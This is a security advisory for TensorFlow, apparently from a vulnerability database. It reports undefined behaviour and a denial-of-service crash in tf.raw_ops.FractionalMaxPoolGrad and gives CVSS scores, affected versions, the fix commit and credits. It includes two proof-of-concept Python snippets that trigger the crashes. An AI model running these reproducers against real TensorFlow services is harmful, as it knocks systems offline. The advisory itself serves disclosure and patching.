CVSS2
Attack Vector
LOCAL
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:L/AC:L/Au:N/C:N/I:N/A:P
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS
Percentile
12.8%
The implementation of tf.raw_ops.FractionalMaxPoolGrad
triggers an undefined behavior if one of the input tensors is empty:
import tensorflow as tf
orig_input = tf.constant([2, 3], shape=[1, 1, 1, 2], dtype=tf.int64)
orig_output = tf.constant([], dtype=tf.int64)
out_backprop = tf.zeros([2, 3, 6, 6], dtype=tf.int64)
row_pooling_sequence = tf.constant([0], shape=[1], dtype=tf.int64)
col_pooling_sequence = tf.constant([0], shape=[1], dtype=tf.int64)
tf.raw_ops.FractionalMaxPoolGrad(
orig_input=orig_input, orig_output=orig_output, out_backprop=out_backprop,
row_pooling_sequence=row_pooling_sequence,
col_pooling_sequence=col_pooling_sequence, overlapping=False)
The code is also vulnerable to a denial of service attack as a CHECK
condition becomes false and aborts the process
import tensorflow as tf
orig_input = tf.constant([1], shape=[1], dtype=tf.int64)
orig_output = tf.constant([1], shape=[1], dtype=tf.int64)
out_backprop = tf.constant([1, 1], shape=[2, 1, 1, 1], dtype=tf.int64)
row_pooling_sequence = tf.constant([1], shape=[1], dtype=tf.int64)
col_pooling_sequence = tf.constant([1], shape=[1], dtype=tf.int64)
tf.raw_ops.FractionalMaxPoolGrad(
orig_input=orig_input, orig_output=orig_output, out_backprop=out_backprop,
row_pooling_sequence=row_pooling_sequence,
col_pooling_sequence=col_pooling_sequence, overlapping=False)
The implementation fails to validate that input and output tensors are not empty and are of the same rank. Each of these unchecked assumptions is responsible for the above issues.
We have patched the issue in GitHub commit 32fdcbff9d06d010d908fcc4bd4b36eb3ce15925.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.
Vendor | Product | Version | CPE |
---|---|---|---|
tensorflow | gpu | * | cpe:2.3:a:tensorflow:gpu:*:*:*:*:*:*:*:* |
tensorflow | cpu | * | cpe:2.3:a:tensorflow:cpu:*:*:*:*:*:*:*:* |
tensorflow | tensorflow | * | cpe:2.3:a:tensorflow:tensorflow:*:*:*:*:*:*:*:* |
CVSS2
Attack Vector
LOCAL
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:L/AC:L/Au:N/C:N/I:N/A:P
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS
Percentile
12.8%